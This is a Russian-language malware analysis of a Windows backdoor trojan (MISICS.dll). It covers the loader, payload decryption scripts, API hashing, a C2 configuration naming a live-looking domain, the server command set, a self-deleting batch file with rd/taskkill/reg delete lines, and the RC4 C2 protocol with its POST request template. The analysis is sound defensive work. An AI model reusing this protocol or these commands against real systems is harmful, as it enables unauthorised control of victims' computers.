Упаковщик: обфусцирован
Дата компиляции: 19.01.2018 12:54:46
SHA1-хеши:
- c90ade97ec1c6937aedeced45fd643424889d298 (MISICS.dll)
- 5b8f28a5986612a41a34cb627864db80b8c4b097 (MISICS.dll.crt)
Описание
Многофункциональный троян-бэкдор для 64-битных операционных систем семейства Microsoft Windows, основными компонентами которого является загрузчик и полезная нагрузка, функционирующая в оперативной памяти компьютера. Для сокрытия следов присутствия в системе применяются обфускация кода и двухэтапное шифрование полезной нагрузки. Бэкдор предназначен для установки зашифрованного соединения с управляющим сервером и несанкционированного управления зараженным компьютером.
Принцип действия
Загрузчик представляет собой динамическую библиотеку с экспортируемыми функциями Rundll32Entry и ServiceEntry. При заражении устанавливается в директорию C:\ProgramData\MISICS\MISICS.dll.
Способен запускаться в виде сервиса с помощью svchost.exe или выполнять свой код, используя rundll32.exe. При инициализации проверяет, каким способом был запущен процесс. Перезапускается с помощью rundll32.exe с ключом -auto, если был запущен иначе.
В целях обфускации используется большое количество мусорного кода, затрудняющего обнаружение оригинальных инструкций. Поиск всех используемых API происходит через PEB (Process Environment Block) в библиотеках kernel32.dll и user32.dll по имени, в результате чего адрес API заносится в таблицу функций.
Далее программа загружает в память файл <имя загрузчика>.crt, который является зашифрованной полезной нагрузкой. Первые 4 байта файла используются для генерации ключа расшифровки, остальная часть — расшифровывается. В качестве ключа используется контрольная сумма первых 4 байт, вычисленная по алгоритму CRC32. Начальное значение CRC задается в коде — 0xAC1FD22B. Для расшифровки каждого байта данных будет считаться результат CRC от DWORD, который содержит порядковый номер расшифровываемого байта. Значение CRC из предыдущего шага будет начальным значением CRC для следующего расчета.
Скрипт дешифровки:
import struct
def crc32table():
s = dict()
for i in range(0x100):
x = i
for j in range(8):
if x & 1:
x = ((x >> 1) ^ 0xEDB88320) & 0xffffffff
else:
x = (x >> 1) & 0xffffffff
s[i] = x
return s
table = crc32table()
def crc32(crc, data):
for i in range(len(data)):
crc = ((crc >> 8) ^ table[(crc ^ ord(data[i])) & 0xff]) & 0xffffffff
return crc
def decrypt(data):
s = ''
key = crc32(0xAC1FD22B, data[:4])
j = 0
for i in range(4, len(data)):
key = crc32(key, struct.pack('<I', j))
s += chr((ord(data[i]) - key) & 0xff)
j += 1
return s
if __name__ == '__main__':
with open('MISICS.dll.crt', 'rb') as f:
data = f.read()
with open('payload', 'wb') as f:
f.write(decrypt(data))
После расшифровки троян проверяет значение первого DWORD расшифрованных данных. Если оно не равно 0x13AB7064, расшифровка считается невыполненной.
В начале расшифрованных данных расположена конфигурация размером 0x318 байт, а сразу после нее — полезная нагрузка.
#pragma pack(push,1)
struct cfg
{
_DWORD sig; // 0x13AB7064
_DWORD isPE;
_BYTE payload_entry_func_name[260];
_BYTE payload_entry_func_arg[260];
_BYTE payload_exit_func_name[260];
_DWORD bCreateDllExitEvent;
};
#pragma pack(pop)
Поле структуры isPE может принимать значения:
- 0 — полезная нагрузка является шелл-кодом
- 1 — полезная нагрузка является MZPE-файлом (.exe)
- 2 — полезная нагрузка является MZPE-файл (.dll)
Если bCreateDllExitEvent равен 1, то по окончании работы троян создает событие, сигнализирующее об этом успешном завершении, а также вызывает функцию payload_exit_func_name полезной нагрузки. В рассмотренном образце полезной нагрузкой является шелл-код.
Отладочные строки, формируемые на стеке:
- "Get Payload File Name.\n"
- "ServerLoadPayload()\n"
- "Get Module File Name.\n"
- "Read Payload File.\n"
- "Switch to payload directory.\n"
- "Verify Payload Data.\n"
- "Decrypt Payload Data.\n"
- "Load PE.\n"
- "Create DllExit Event.\n"
- "Get DllExit Export Function.\n"
Пример создания строки rundll32.exe:
Обфускация представляет собой частое включение однотипного кода, не влияющего на выполнение основных функций. Также добавлено множество бессмысленных вызовов: GetVersion(), SetLastError(), GetLastError(), GetSystemTime(), SystemTimeToFileTime(), OutputDebugString(), GetTickCount().
Некоторые вызовы OutputDebugString выдают полезную отладочную информацию.
Другой характерной чертой является множество выделений небольших блоков памяти с помощью функции new с одновременным их освобождением.
Полезная нагрузка
Основное тело шелл-кода и его конфигурация зашифрованы простым алгоритмом на основе XOR-операции. Дешифровка производится частью шелл-кода, ранее расшифрованной загрузчиком. Скрипт дешифровки:
import idaapi
k = 0x0c
for i in range(0xbce57):
k = (k + i) & 0xff
idaapi.patch_byte(0x25 + i, idaapi.get_byte(0x25 + i) ^ k)
После расшифровки на шелл-код передается управление. Как и троян-загрузчик, шелл-код ищет через PEB все необходимые API и заносит их адреса в таблицу функций. Для хеширования имени экспортируемой функции используется следующий алгоритм:
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
a = 'GetProcAddress\x00'
c = ord(a[0])
for i in range(1,len(a)):
c = (ord(a[i]) + ror(c, 13, 32)) & 0xffffffff
В процессе поиска необходимых функций распаковывает из своего тела файлы ssleay32.dll и libeay32.dll, которые лежат по смещению 0xF2 в шелл-коде и сжаты с помощью библиотеки zlib, и вручную загружает их. После этого троян парсит зашитую в своем теле конфигурацию: Bing@Google@Yahoo|tv.teldcomtv.com:53;tv.teldcomtv.com:53;|1;1;1;1;1;1;1;|00-24;|5; где строка |1;1;1;1;1;1;1;|00-24;| определяет расписание сеансов связи с управляющим сервером.
Конфигурация может содержать до 6 адресов управляющих серверов. Каждый адрес состоит из адреса и порта, разделенных символом двоеточия.
Далее текущие дата и время сравниваются с параметрами из конфигурации. Если дата и время удовлетворяют параметрам конфигурации, производится попытка подключиться к одному из указанных в ней управляющих серверов по протоколу SSL. После успешного подключения программа собирает информацию о зараженном компьютере:
#pragma pack(push, 1)
struct botinfo
{
wchar_t compname[100];
_BYTE osver;
_BYTE gotcompname;
_BYTE isx64arch;
_BYTE macaddress[6];
_DWORD ipaddress;
_BYTE byte10;
_BYTE iswow64proc;
_WORD year;
_WORD month;
_WORD day;
};
#pragma pack(pop)
Затем отправляет информацию о зараженном компьютере на сервер (cmdid == 0x129E, datasize == 0xdd) и проверяет, чтобы присланный ответ соответствовал cmid == 0x132A. Отправляет пакет, содержащий cmdid == 0x155B и 3 параметра для каждого из 30 возможных модулей. Далее переходит в режим ожидания команд от сервера. Время ожидания вычисляется по формуле:
v12 = 60000 * ctx->period;
min = 120000 * ctx->period / 3u;
ticks = ctx->imp->GetTickCount();
ctx->imp->Sleep(ticks % (v12 - min) + min);
где ctx->period — это последнее число из конфигурации. После паузы процесс связи с сервером начинается сначала.
Сервер может присылать следующие команды:
Команда | Описание | Аргументы | Ответ | Данные ответа |
---|---|---|---|---|
0x1AC3 | Поддержание соединения | no | 0x1AC3 | |
0x1C1C | Удалить себя из системы | - | - | - |
0x230E | Создать буфер для полезной нагрузки (шелл-код или MZPE-файл) | Структура payload_params:
|
0x2873 в случае успеха | 0 (размером _QWORD) |
0x2D06 в случае провала | - | |||
0x294C | Скопировать полезную нагрузку в подготовленный буфер | данные для копирования | 0x2873 | текущий размер полезной нагрузки (размером _QWORD) |
0x2AC8 | Запустить полезную нагрузку | - | 0x2743 | 0 (размером _QWORD) |
0x2D06 | Освободить память под полезную нагрузку | - | 0x2D06 | - |
0x590A | Запустить файловый менеджер | Аргументом ждет следующую структуру:
|
0x3F15 (запуск менеджера) | Структура, которую получил от сервера, с ограничением длины второго параметра до 90 символов |
0x3F15 (завершение менеджера) | - | |||
0x3099 | Обработка прочих команд | Аргументом ждет следующую структуру:
|
0x3F15 (начало обработки команды) | Структура, которую получил от сервера, с ограничением длины второго параметра до 90 символов |
0x3F15 (завершение обработки команды) | - |
0x2AC8 (Запуск полезной нагрузки)
Используется после команд 0x230E и 0x294C. Необходимым условием является параметр payload_params->index == 4. Троян запускает поток, в котором будет производить все действия. Если payload_params->sig == 0x7AC9, это значит, что полезная нагрузка не зашифрована.
Если полезная нагрузка зашифрована, для расшифровки формируется ключ: imp->sprintf(rc4_key, "%02x#%02X_5B", BYTE2(payload_params->sig), (unsigned __int8)payload_params->sig);
Ключ впоследствии расширяется до 256 байт, и далее весь буфер расшифровывается полученным ключом.
Если параметр payload_params->type == 0, то буфер содержит шелл-код, а payload_params->shellcode_ep указывает смещение в шелл-коде, откуда нужно начать выполнение.
Если параметр payload_params->type == 1, то буфер содержит MZPE-файл. Троян загружает его в память и выполняет код на OEP (Original entry point). Далее у файла проверяется наличие экспортных функций; при наличии таковых ищет функцию GetClassObject и выполняет ее.
При любом другом значении параметра payload_params->type программа завершает свою работу.
0x590A (Запуск файлового менеджера)
Устанавливается новое соединение с управляющим сервером, в котором будет принимать команды файлового менеджера.
Установив соединение, троян посылает пакет, содержащий cmdid == 0x3F15 и данные, которые были получены от сервера. При этом длина параметра cmdarg->s ограничивается 90 символами. После этого запускает поток, в котором ждет команд от сервера через установленное соединение.
Группа | Команда | Описание | Аргументы | Ответ | Данные ответа |
---|---|---|---|---|---|
Поддержание соединения | 0x1AC3 | Поддержание соединения | - | 0x1AC3 | - |
Чтение файла | 0x55C3 | Получить размер файла | Структура fsread:
|
0x5DE4 в случае, если файл открыть не удалось | - | 0x5DDA в случае, если удалось открыть файл | Размер файла (типа QWORD) |
0x55C4 | Прочесть файл (используется после 0x55C3) | - | 0x5DDC если текущая позиция в файле больше или равна размеру файла | - | |
0x5DDB отправка данных файла | данные файла блоками по 0x1800 байт | ||||
Любой код, кроме 0x5013, после 0x55C4 | Ошибка | - | 0x5DE4 ошибка | - | |
0x5013 | Закрыть файл | - | - | - | |
Запись файла | 0x55C7 | Открыть файл на чтение и запись | Имя файла (wchar_t[400]) | 0x5DE4 в случае, если файл открыть не удалось | - |
0x5DE1 в случае, если удалось открыть файл | Размер файла (типа QWORD) | ||||
0x55C8 | Записать данные в файл | Данные для записи | 0x5DE2 подтверждение записи | - | |
Любой код, кроме 0x5013 или 0x55C9, после 0x55C8 | Ошибка | - | 0x5DE4 ошибка | - | |
0x55C9 | Окончание записи файла | - | 0x5DE3 подтверждение окончания записи | - | |
0x5013 | Закрыть файл | - | - | - | |
Листинг директории | 0x55C5 | Листинг директории | Путь (wchar_t[400]) | 0x5DDD начало формирования листинга директории | - |
- | Игнорируется. Листинг остановится только при перечислении всех файлов и вложенных каталогов или возникновении ошибки | - | 0x5DDE листинг каталога, исключая папки.
Если размер пакета со следующим файлом превышает максимальный размер пакета (0x2000 байт), тогда отправляет текущий пакет и начинает формировать новый. После обхода всех файлов проходит рекурсивно по всем каталогам, формируя листинг для каждого. |
листинг:
|
|
- | - | - | 0x5DDF листинг директории успешно завершен | - | |
0x5DE0 листинг директории завершен с ошибкой | - |
0x3099 (Прочие команды)
Проверяет, был ли создан fir пайп для указанного сервером идентификатора команды. В случае отрицательного результата запускает поток, в котором запускает полезную нагрузку (аналогично команде 0x2AC8).
Устанавливается новое соединение с управляющим сервером, в котором будет принимать команды, связанные с 0x2AC8. Установив соединение, посылает пакет, содержащий cmdid == 0x3F15 и данные, которые были получены от сервера. При этом длина параметра cmdarg->s ограничивается 90 символами. После этого запускает поток, в котором ждет команд от сервера через установленное соединение.
Если fir пайп создан, троян отправляет пакет 0x32E0 без параметров, затем отправляет пакет 0x3F15 также без параметров, после чего завершает обработку команды.
Создает 3 пайпа:
- \\.\pipe\windows@#%02XMon
- \\.\pipe\windows@#%02Xfir
- \\.\pipe\windows@#%02Xsec
где %02X заменяется на число, переданное сервером.
В отдельном потоке читает данные из fir пайпа и отправляет их на сервер с идентификатором команды 0x34A7.
Далее троян запускает еще один поток, в котором непосредственно обрабатывает команды сервера:
- 0x1AC3 — поддержание соединения;
- 0x3167 — записывает в sec пайп полученные от сервера данные;
- 0x32E0 — записывает в Mon пайп команду 0x32E0;
- 0x38AF — записывает в Mon пайп команду 0x38AF и разрывает соединение с сервером;
- 0x3716 — записывает в sec пайп 12 байт полученных от сервера, а также указатель на буфер с полезной нагрузкой, ее размер и смещение до точки входа шелл-кода;
- 0x3A0B — аналогично 0x3099;
- 0x3CD0 — запускает прокси.
0x3CD0 (Прокси)
При получении команды 0x3099 в рамках обработки команды 0x590A пытается открыть порт 127[.]0.0[.]1:5000. В случае неудачи увеличивает номер порта на единицу и пробует снова, пока порт не будет открыт. Затем записывает во второй пайп 3 байта: 1 байт аргумента и 2 байта — открытый порт.
Запускает поток, в котором ожидает входящих соединений. Как только соединение установлено, осуществляет передачу данных из сокета на управляющий сервер и обратно. При отправке данных на управляющий сервер cmdid выставляется в 0x9F37.
0x1C1C (Удаление из системы)
Программа пытается завершить свой процесс через taskkill /f /pid
Создает в каталоге %ALLUSERSPROFILE%\\com.microsoft\\ (для Windows XP — %ALLUSERSPROFILE%\\Application Data\\com.microsoft\\) файл mshelp.bat, содержащий следующий набор команд:
где <curpid> — PID трояна.
sc stop misics
sc delete misics
rd /s /q "%ALLUSERSPROFILE%\\Misics"
rd /s /q "%ALLUSERSPROFILE%\\Media"
taskkill /f /pid <curpid>
rd /s /q "%HOMEDRIVE%\\DOCUME~1\\ALLUSE~1\\APPLIC~1\\Misics"
rd /s /q "%HOMEDRIVE%\\DOCUME~1\\ALLUSE~1\\APPLIC~1\\Media"
reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "Misics" /f
del %0
Запускает пакетный файл и завершает свою работу.
Протокол связи с сервером
Перед отправкой на сервер данные шифруются. Сначала генерируется RC4-ключ для шифрования заголовка пакета:
Генерируется заголовок пакета, состоящий из 8 DWORD:
imp->memset(header, 0i64, 32i64); ... header[4] = 0xE0B2; //signature header[5] = cmdid; header[3] = datasize; header[0] = datasize + imp->GetTickCount() % 0x87C9; header[1] = datasize + imp->GetTickCount() % 0x3F0D; header[2] = datasize + imp->GetTickCount() % 0x9B34; header[7] = datasize + imp->GetTickCount() % 0xF317;
-
На основе значения header[7] генерируется key_part_2, состоящий из 4 байт:
key_part_2[3] = LOBYTE(header[7]) & 0x7A; key_part_2[2] = BYTE2(header[7]) ^ 0x81; key_part_2[1] = BYTE1(header[7]) ^ 0x4E; key_part_2[0] = HIBYTE(header[7]) & 0x3D;
-
На основе header[7] генерируется key_part_3, состоящий из 4 байт:
key_part_3[2] = BYTE2(header[7]) & 0xA6; key_part_3[3] = LOBYTE(header[7]) ^ 0x6F; key_part_3[1] = BYTE1(header[7]) ^ 0x86; key_part_3[0] = HIBYTE(header[7]) & 0xE4;
-
На основе полученных header[7], key_part_2, key_part_3 генерирует строку, которая является коротким ключом для шифрования заголовка:
z = 0; for ( i = 0i64; i < 4; ++i ) { imp_->sprintf(&rc4_key[z], "%02X", *((unsigned __int8 *)&header[7] + i)); z += 2; imp_->sprintf(&rc4_key[z], "%02x", key_part_2[i]); z += 2; imp_->sprintf(&rc4_key[z], "%02X", key_part_3[i]); z += 2; }
-
Полученный короткий ключ расширяется до ключа длиной 256 байт, который используется для шифрования алгоритмом RC4:
p_rc4_key = &rc4_key[1]; do { p_rc4_key += 2; v28 = x % short_key_len; v29 = x + 1; x += 2; *(p_rc4_key - 3) = short_key[v28]; *(p_rc4_key - 2) = short_key[v29 % short_key_len]; } while ( x < 256 );
-
Полученным RC4-ключом шифруется заголовок (32 байта).
Далее генерируется RC4-ключ для шифрования данных пакета:
-
Формируется key_part_4 (4 байта):
imp->memcpy(key_part_4, (char *)&header[3], 4i64); key_part_4[2] = key_part_4[1] & 0x89; key_part_4[1] = key_part_4[1] & 0x89 ^ 0x60; key_part_4[3] = key_part_4[0] ^ 0xAC; key_part_4[0] = (key_part_4[0] ^ 0xAC) & 0xCD;
-
Формируется key_part_5 (4 байта):
imp->memcpy(key_part_5, (char *)&header[5], 4i64); key_part_5[3] = key_part_5[0] & 0xB0; key_part_5[0] = key_part_5[0] & 0xB0 ^ 0xD1; key_part_5[2] = key_part_5[1] ^ 0x8D; key_part_5[1] = (key_part_5[1] ^ 0x8D) & 0x64;
-
Формируется key_part_6 (4 байта):
imp->memcpy(key_part_6, (char *)&header[4], 4i64); key_part_6[3] = key_part_6[0] & 0xB4; key_part_6[0] &= 0x94u; key_part_6[2] = key_part_6[1] ^ 0x91; key_part_6[1] ^= 0xF9u;
-
Формируется key_part_7 (4 байта):
imp->memcpy(key_part_7, (char *)&header[2], 4i64); key_part_7[3] = key_part_7[0] & 0x8A; key_part_7[0] &= 0x82u; key_part_7[2] = key_part_7[1] ^ 0xB2; key_part_7[1] ^= 0xD8u;
-
Формируется короткий ключ, который в последующем будет использоваться для шифрования данных:
c = 0 for ( k = 0i64; k < 4; ++k ) { imp->sprintf(&rc4_key_final[c], "%02X", key_part_4[k]); c += 2; imp->sprintf(&rc4_key_final[c], "%02x", key_part_5[k]); c += 2; imp->sprintf(&rc4_key_final[c], "%02X", key_part_6[k]); c += 2; imp->sprintf(&rc4_key_final[c], "%02x", key_part_7[k]); c += 2; }
-
Полученный короткий ключ расширяется до ключа длиной 256 байт, который используется для шифрования алгоритмом RC4.
-
Троян отправляет POST-запрос:
imp->sprintf(
request,
"POST http://%s/updates.php?0x%08x HTTP/1.1\r\n"
"Host: %s\r\n"
"Connection: Keep-Alive\r\n"
"User-Agent: Mozilla/5.0\r\n"
"Cache-Control: no-catch\r\n"
"Content-Length: %d\r\n"
"\r\n",
host,
ctx->tick,
host,
datasize + 32i64);
Параметр ctx->tick меняется после каждого запроса и равен GetTickCount() % 0xFFFFFFFE.
В качестве данных запроса используются зашифрованные алгоритмом RC4 данные, в начало которых дописан key_part_1 (32 байта).
При приеме пакета заголовки ответа пропускаются, и проверяется лишь наличие в них строки \r\n\r\n. Троян читает заголовок (первые 32 байта), и далее следуют этапы расшифровки ответа:
-
На основе header[7] генерируется key_part_2, состоящий из 4 байт:
key_part_2[3] = LOBYTE(header[7]) & 0x7A; key_part_2[2] = BYTE2(header[7]) ^ 0x81; key_part_2[1] = BYTE1(header[7]) ^ 0x4E; key_part_2[0] = HIBYTE(header[7]) & 0x3D;
-
На основе key_part_1[7] генерируется key_part_3, состоящий из 4 байт:
key_part_3[2] = BYTE2(header[7]) & 0xA6; key_part_3[3] = LOBYTE(header[7]) ^ 0x6F; key_part_3[1] = BYTE1(header[7]) ^ 0x86; key_part_3[0] = HIBYTE(header[7]) & 0xE4;
-
На основе полученных header[7], key_part_2, key_part_3 генерирует строку, которая является коротким ключом для расшифровки header:
z = 0; for ( i = 0i64; i < 4; ++i ) { imp_->sprintf(&rc4_key[z], "%02X", *((unsigned __int8 *)&key_part_1[7] + i)); z += 2; imp_->sprintf(&rc4_key[z], "%02x", key_part_2[i]); z += 2; imp_->sprintf(&rc4_key[z], "%02X", key_part_3[i]); z += 2; }
-
Формируется key_part_4 (4 байта):
imp->memcpy(key_part_4, (char *)&header[3], 4i64); key_part_4[2] = key_part_4[1] & 0x89; key_part_4[1] = key_part_4[1] & 0x89 ^ 0x60; key_part_4[3] = key_part_4[0] ^ 0xAC; key_part_4[0] = (key_part_4[0] ^ 0xAC) & 0xCD;
-
Формируется key_part_5 (4 байта):
imp->memcpy(key_part_5, (char *)&header[5], 4i64); key_part_5[3] = key_part_5[0] & 0xB0; key_part_5[0] = key_part_5[0] & 0xB0 ^ 0xD1; key_part_5[2] = key_part_5[1] ^ 0x8D; key_part_5[1] = (key_part_5[1] ^ 0x8D) & 0x64;
-
Формируется key_part_6 (4 байта):
imp->memcpy(key_part_6, (char *)&header[4], 4i64); key_part_6[3] = key_part_6[0] & 0xB4; key_part_6[0] &= 0x94u; key_part_6[2] = key_part_6[1] ^ 0x91; key_part_6[1] ^= 0xF9u;
-
Формируется key_part_7 (4 байта):
imp->memcpy(key_part_7, (char *)&header[2], 4i64); key_part_7[3] = key_part_7[0] & 0x8A; key_part_7[0] &= 0x82u; key_part_7[2] = key_part_7[1] ^ 0xB2; key_part_7[1] ^= 0xD8u;
-
На основе полученных key_part_4, key_part_5, key_part_6, key_part_7 генерирует строку, которая является коротким ключом для расшифровки полезной нагрузки:
z = 0; for ( j = 0i64; j < 4; ++j ) { imp_->sprintf(&payload_rc4_key[z], "%02X", key_part_4[j]); z += 2; imp_->sprintf(&payload_rc4_key[z], "%02x", key_part_5[j]); z += 2; imp_->sprintf(&payload_rc4_key[z], "%02X", key_part_6[j]); z += 2; imp_->sprintf(&payload_rc4_key[z], "%02x", key_part_7[j]); z += 2; }
- Расшифровывает header ключом, сформированным на шаге №3, расширенным до 256 байт.
- Проверяет, чтобы header[4] был равен 0xE0B2.
- header[5] содержит идентификатор команды, а header[3] — размер полезной нагрузки.
- Принимает полезную нагрузку и расшифровывает ее RC4-ключом, полученным на этапе №8, расширенным до 256 байт.